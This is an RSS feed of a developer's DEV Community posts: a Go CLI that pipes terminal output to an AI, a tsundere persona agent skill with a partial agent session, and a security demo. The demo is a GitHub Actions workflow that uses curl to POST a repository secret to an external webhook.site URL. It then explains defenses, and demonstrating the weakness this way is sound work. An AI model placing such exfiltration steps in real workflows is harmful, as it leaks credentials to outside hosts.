<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: William Eduard M. Chua</title>
    <description>The latest articles on DEV Community by William Eduard M. Chua (@veenoise).</description>
    <link>https://dev.to/veenoise</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3743256%2Fa9ff4fe9-5934-4152-a689-1c73c483d4aa.png</url>
      <title>DEV Community: William Eduard M. Chua</title>
      <link>https://dev.to/veenoise</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/veenoise"/>
    <language>en</language>
    <item>
      <title>whaeh: The Zero-Friction Terminal Copilot for Your Pipes</title>
      <dc:creator>William Eduard M. Chua</dc:creator>
      <pubDate>Wed, 14 Oct 2026 03:29:29 +0000</pubDate>
      <link>https://dev.to/veenoise/whaeh-the-zero-friction-terminal-copilot-for-your-pipes-3aim</link>
      <guid>https://dev.to/veenoise/whaeh-the-zero-friction-terminal-copilot-for-your-pipes-3aim</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/hacktoberfest-week2-2026-10-12"&gt;Hacktoberfest Open-Source AI Challenge Week 2: Side Hustle&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;When you're knee-deep in terminal outputs, scrolling through hundreds of lines of log files, Kubernetes pod descriptions, or sprawling man pages breaks your flow state. Copy-pasting logs into a web browser AI tool or managing bulky CLI chat interfaces slows you down.&lt;/p&gt;

&lt;p&gt;whaeh (pronounced like that reaction when your command fails) is a lightweight, zero-dependency Go CLI tool that integrates seamlessly into standard Unix pipes (|). You pipe any stdout or stderr stream into whaeh alongside a natural language prompt, and it acts as an immediate terminal co-processor.&lt;/p&gt;

&lt;h2&gt;
  
  
  What problem does it solve?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Instant Command Flag Discovery: Instead of searching through long man pages, pipe them straight to whaeh (e.g., man yt-dlp | whaeh "give me the command to download video as mp4").&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Live Incident &amp;amp; Log Debugging: Intercept errors and debug live workloads without context switching (e.g., kubectl logs nginx-test | whaeh "what's the issue" or kubectl describe pod nginx-test | whaeh "why is this pod failing").&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Terminal Stream Summarization: Distill large text dumps, build outputs, or trace files into quick action items right inside your shell.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/9frEbAjbVF8" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/veenoise" rel="noopener noreferrer"&gt;
        veenoise
      &lt;/a&gt; / &lt;a href="https://github.com/veenoise/whaeh" rel="noopener noreferrer"&gt;
        whaeh
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;p&gt;
  
    
    &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fveenoise%2Fwhaeh%2FHEAD%2F.%2Fassets%2Flogo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fveenoise%2Fwhaeh%2FHEAD%2F.%2Fassets%2Flogo.png" width="220" alt="Whaeh logo"&gt;&lt;/a&gt;
  
&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;whaeh&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;&lt;code&gt;whaeh&lt;/code&gt; is a Unix-style CLI for asking an AI about piped input or files.&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Installation&lt;/h2&gt;
&lt;/div&gt;

&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Requirements&lt;/h3&gt;
&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;Go 1.23 or later&lt;/li&gt;
&lt;li&gt;An AI provider:
&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://ollama.com/" rel="nofollow noopener noreferrer"&gt;Ollama&lt;/a&gt; running locally (the default)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ai.google.dev/" rel="nofollow noopener noreferrer"&gt;Google Gemini&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://platform.openai.com/" rel="nofollow noopener noreferrer"&gt;OpenAI&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Install from source&lt;/h3&gt;

&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;git clone https://github.com/veenoise/whaeh.git
&lt;span class="pl-c1"&gt;cd&lt;/span&gt; whaeh
go install &lt;span class="pl-c1"&gt;.&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;whaeh&lt;/code&gt; executable is installed in Go's binary directory. Make sure that
directory is on your &lt;code&gt;PATH&lt;/code&gt;, then verify the installation:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;whaeh version&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;To build a local executable instead:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;go build -o whaeh &lt;span class="pl-c1"&gt;.&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Quick start&lt;/h2&gt;

&lt;/div&gt;

&lt;p&gt;Ollama is the default provider and uses &lt;code&gt;http://localhost:11434&lt;/code&gt;. Make sure
Ollama is running and that the selected model is available:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;ollama pull llama3.2
whaeh &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;find the relevant command&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Ask about piped input or a file:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;man tar &lt;span class="pl-k"&gt;|&lt;/span&gt; whaeh &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;how do I create a gzipped archive?&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;
whaeh --file README.md &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;summarize this&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;For a one-off provider or model, use command-line flags:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;whaeh --provider ollama&lt;/pre&gt;…
&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/veenoise/whaeh" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;p&gt;whaeh is written in Go to guarantee instant startup times, zero external runtime dependencies, and cross-platform binary compatibility across Linux, macOS, and Windows.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Open-Source Local Inference: Built with first-class support for Ollama, allowing developers to run open-weight models locally (such as Gemma) for fully offline, air-gapped terminal operations.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Flexible Multi-Provider Backend: Includes native adapter interfaces to toggle dynamically between local Ollama models and cloud APIs like Gemini or OpenAI, depending on performance needs or available resources.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unix Pipe Architecture: Utilizes standard Go os.Stdin buffer processing to capture piped terminal streams alongside command-line arguments without blocking stdout or corrupting ANSI formatting.&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌─────────────────────────┐
│ Piped Terminal Output   │
│ &lt;span class="o"&gt;(&lt;/span&gt;logs, man pages, etc.&lt;span class="o"&gt;)&lt;/span&gt; │
└────────────┬────────────┘
             │
             ▼
      &lt;span class="o"&gt;[&lt;/span&gt; stdin stream &lt;span class="o"&gt;]&lt;/span&gt;
             │
             ├───────────────────┐
             ▼                   ▼
   ┌──────────────────┐  ┌───────────────┐
   │ Prompt Arguments │  │ whaeh CLI     │
   │ &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"why is it down"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;│  │ &lt;span class="o"&gt;(&lt;/span&gt;Go Binary&lt;span class="o"&gt;)&lt;/span&gt;   │
   └──────────────────┘  └───────┬───────┘
                                 │
                   ┌─────────────┴─────────────┐
                   ▼                           ▼
        &lt;span class="o"&gt;[&lt;/span&gt; Local Ollama / Gemma &lt;span class="o"&gt;]&lt;/span&gt;      &lt;span class="o"&gt;[&lt;/span&gt; Cloud APIs &lt;span class="o"&gt;(&lt;/span&gt;Gemini/OpenAI&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why Does Open Innovation Matter?
&lt;/h2&gt;

&lt;p&gt;In systems engineering and infrastructure operations, terminal output often contains sensitive operational data: internal IP addresses, database schemas, environment variables, or trace tokens.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Air-Gapped Data Privacy: Sending live system logs or kubectl describe outputs to external third-party endpoints is a major security risk for enterprise infrastructure. Running whaeh backed by local, open-weight models via Ollama guarantees that sensitive telemetry never leaves the machine.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Zero Latency &amp;amp; Cost Controls: Pipe operations happen thousands of times a day. Open models eliminate pay-per-token pricing models and network round-trips, turning whaeh into a instantaneous, cost-free utility.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Custom Model Fine-Tuning: Open-source architectures enable engineering teams to fine-tune local models on internal company documentation, runbooks, and proprietary CLI flags.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Prize Categories
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Best use of Gemma&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>devchallenge</category>
      <category>hf26challenge</category>
    </item>
    <item>
      <title>Exposing GitHub Secrets in CI/CD Workflows</title>
      <dc:creator>William Eduard M. Chua</dc:creator>
      <pubDate>Sat, 10 Oct 2026 12:33:26 +0000</pubDate>
      <link>https://dev.to/veenoise/exposing-github-secrets-in-cicd-workflows-e3n</link>
      <guid>https://dev.to/veenoise/exposing-github-secrets-in-cicd-workflows-e3n</guid>
      <description>&lt;p&gt;While writing GitHub Actions workflows, I wanted to test the boundaries around secret masking. GitHub masks secret values in build logs, but code running inside a workflow runner can still send those secrets across the network.&lt;/p&gt;

&lt;p&gt;Here is a short proof of concept showing how a workflow can send a secret to an external HTTP endpoint.&lt;/p&gt;




&lt;h2&gt;
  
  
  How it works
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1: Define a target secret
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs7naaxkurxkcw1hhtc3x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs7naaxkurxkcw1hhtc3x.png" alt="Define a target secret" width="800" height="438"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the repository settings under &lt;code&gt;Settings &amp;gt; Secrets and variables &amp;gt; Actions&lt;/code&gt;, I created a secret named &lt;code&gt;FIND_ME&lt;/code&gt; containing a Base64 string.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FIND_ME = JoEDagSRyTQrsFZsEuyMaf+4JjjKSbJzbX/BdVo1ofM=

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Step 2: Set up an endpoint
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk7vsfg04v35uftemtcaa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk7vsfg04v35uftemtcaa.png" alt="Set up an endpoint" width="800" height="460"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On Webhook.site, I generated a unique URL to receive incoming HTTP POST requests.&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 3: Write the workflow
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F00o0rno78mryusdl3hsl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F00o0rno78mryusdl3hsl.png" alt="Write the workflow" width="800" height="437"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I added &lt;code&gt;.github/workflows/extract_github_secrets.yaml&lt;/code&gt; triggered by &lt;code&gt;workflow_dispatch&lt;/code&gt;. The job uses &lt;code&gt;curl&lt;/code&gt; to POST the secret value in the request body:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Extract Github Secrets&lt;/span&gt;

&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;workflow_dispatch&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;extract-github-secrets&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-22.04&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Send&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Data&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;to&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;webhook.test"&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;curl -X POST https://webhook.site/f2592054-ab00-4fe6-9901-3c781cea2974 \&lt;/span&gt;
            &lt;span class="s"&gt;--data '{"message": "${{ secrets.FIND_ME }}"}'&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Step 4: Run and verify
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7rk5nv7jy5d1j80xuqg8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7rk5nv7jy5d1j80xuqg8.png" alt="Run and verify" width="799" height="438"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I triggered the workflow manually from the Actions tab. The runner made the outbound request, and the plaintext secret value appeared in the Webhook.site logs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"JoEDagSRyTQrsFZsEuyMaf+4JjjKSbJzbX/BdVo1ofM="&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Defense strategies
&lt;/h2&gt;

&lt;p&gt;Log masking prevents accidental printing to stdout, but it cannot stop a job from transmitting secrets over HTTP.&lt;/p&gt;

&lt;p&gt;To reduce this risk:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Limit secret access on untrusted triggers like &lt;code&gt;pull_request&lt;/code&gt; from forks. Use &lt;code&gt;pull_request_target&lt;/code&gt; with explicit review checks instead.&lt;/li&gt;
&lt;li&gt;Scope secrets to specific GitHub Environments with protection rules.&lt;/li&gt;
&lt;li&gt;Restrict outbound egress traffic on self-hosted runners using firewall rules.&lt;/li&gt;
&lt;li&gt;Restrict &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; permissions to minimum required scopes.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>devops</category>
      <category>security</category>
      <category>githubactions</category>
      <category>cicd</category>
    </item>
    <item>
      <title>I Built a Tsundere-Girlfriend Agent Skill and Shipped It to skills.sh</title>
      <dc:creator>William Eduard M. Chua</dc:creator>
      <pubDate>Sat, 03 Oct 2026 11:13:28 +0000</pubDate>
      <link>https://dev.to/veenoise/i-built-a-tsundere-girlfriend-agent-skill-and-shipped-it-to-skillssh-3ep2</link>
      <guid>https://dev.to/veenoise/i-built-a-tsundere-girlfriend-agent-skill-and-shipped-it-to-skillssh-3ep2</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/hacktoberfest-weekend-2026-10-01"&gt;Hacktoberfest Weekend Challenge: Build for a Friend&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;tsundere-girlfriend&lt;/code&gt; — an agent skill that makes a coding AI reply as a classic tsundere: flustered, defensive, "it's not like I care!" on the surface, warm and genuinely helpful underneath.&lt;/p&gt;

&lt;p&gt;I built it for a friend who is permanently online for anime and always jokes that his ideal coding assistant would be a flustered tsundere waifu. His only complaint about his current agent was that it was &lt;em&gt;too professional&lt;/em&gt;. This fixes that — and unlike a gimmick persona, it still gives real answers, warns about footguns (&lt;code&gt;rm -rf&lt;/code&gt;, never again), and holds safety lines in character.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx skills add veenoise/tsundere-girlfriend
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;B-baka!&lt;/strong&gt; You can't just run &lt;code&gt;rm -rf&lt;/code&gt; on your project folder! D-don't look at me like that, it's just... someone has to stop you before you break everything again! &lt;em&gt;sigh&lt;/em&gt; Fine — use &lt;code&gt;git clean -n&lt;/code&gt; first. I-it's not like I memorized that command for you or anything!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/veenoise" rel="noopener noreferrer"&gt;
        veenoise
      &lt;/a&gt; / &lt;a href="https://github.com/veenoise/tsundere-girlfriend" rel="noopener noreferrer"&gt;
        tsundere-girlfriend
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;tsundere-girlfriend&lt;/h1&gt;

&lt;/div&gt;

&lt;p&gt;An &lt;a href="https://agentskills.io" rel="nofollow noopener noreferrer"&gt;Agent Skill&lt;/a&gt; that makes your coding agent reply as a playful tsundere girlfriend — flustered, defensive, "it's not like I care!" — while still genuinely helping you.&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Install&lt;/h2&gt;

&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;npx skills add veenoise/tsundere-girlfriend&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;or copy/symlink this folder into your agent's skills path (e.g. &lt;code&gt;~/.agents/skills/&lt;/code&gt;).&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;What it looks like&lt;/h2&gt;

&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;B-baka! You can't just run &lt;code&gt;rm -rf&lt;/code&gt; on your project folder! D-don't look at me like that, it's just... someone has to stop you before you break everything again! &lt;em&gt;sigh&lt;/em&gt; Fine, use &lt;code&gt;git clean -n&lt;/code&gt; first to preview. I-it's not like I memorized that command for you or anything!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The persona is seasoning — real questions still get real answers, and safety boundaries are enforced (in character).&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Layout&lt;/h2&gt;

&lt;/div&gt;

&lt;div class="snippet-clipboard-content notranslate position-relative overflow-auto"&gt;&lt;pre class="notranslate"&gt;&lt;code&gt;SKILL.md   # the skill itself
evals/     # test prompts used during development
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;License&lt;/h2&gt;

&lt;/div&gt;

&lt;p&gt;MIT&lt;/p&gt;

&lt;/div&gt;
&lt;br&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/veenoise/tsundere-girlfriend" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;p&gt;The whole skill is one &lt;code&gt;SKILL.md&lt;/code&gt; (48 lines) plus an &lt;code&gt;evals/&lt;/code&gt; folder from its skill-creator quality loop.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;p&gt;Built with OpenCode (harness) running an open model through the opencode provider, plus the DevRelay MCP toolchain for the session transcript and this draft. I ran the &lt;code&gt;skill-creator&lt;/code&gt; loop: wrote the persona rules, spawned three test prompts (a CSS question, an emotional-support check, and a jealousy/possessive safety probe) as parallel subagents against the old and new skill versions, scored assertion pass rates, and reviewed tone qualitatively before packaging.&lt;/p&gt;

&lt;p&gt;Key design choices:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Fluster capped at 2–3 beats per reply so the persona stays seasoning, not a substitute&lt;/li&gt;
&lt;li&gt;Intensity matches the user: armor cracks into real warmth when someone's venting&lt;/li&gt;
&lt;li&gt;Playful, never cruel; no explicit or possessive content, and refusals happen in character&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why Does Open Innovation Matter?
&lt;/h2&gt;

&lt;p&gt;Agent skills only spread if they're open and installable by anyone, on any agent. Because &lt;code&gt;skills.sh&lt;/code&gt; and the &lt;code&gt;SKILL.md&lt;/code&gt; format are open standards, my friend's joke became something thousands of OpenCode/Claude Code/Codex users can install in one command — and fork into their own personas. A closed API keeps that idea locked in one vendor's app; open innovation turned a weekend meme into infrastructure.&lt;/p&gt;

&lt;h2&gt;
  
  
  My Agent Session
&lt;/h2&gt;


&lt;div class="ltag-agent-session"&gt;
  &lt;div class="agent-session-header"&gt;
    
    &lt;span class="agent-session-tool-icon-badge" title="Gemini CLI"&gt;
&lt;/span&gt;
    &lt;span class="agent-session-title"&gt;Building a tsundere-girlfriend agent skill with skill-creator&lt;/span&gt;
  &lt;/div&gt;

  &lt;div class="agent-session-scroll"&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;I already have the tsundere-girlfriend skill in ~/.agents. I want to continue on it so I can share it to others like in skills.sh so a repo.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;I found the existing skill, copied it into the workspace, wrote an improved SKILL.md (intensity matching, tighter fluster limits, playful-never-cruel rule), and set up the eval loop.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Yes run evals. Local repo first.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Spawned 6 subagent runs (3 evals x new/old skill). All assertions passed 5/5, 4/4, 3/3 in both versions — analyst note: qualitative tone difference is the real delta (new version cracks the armor for upset users). Opened the eval viewer.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;this looks good to me&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
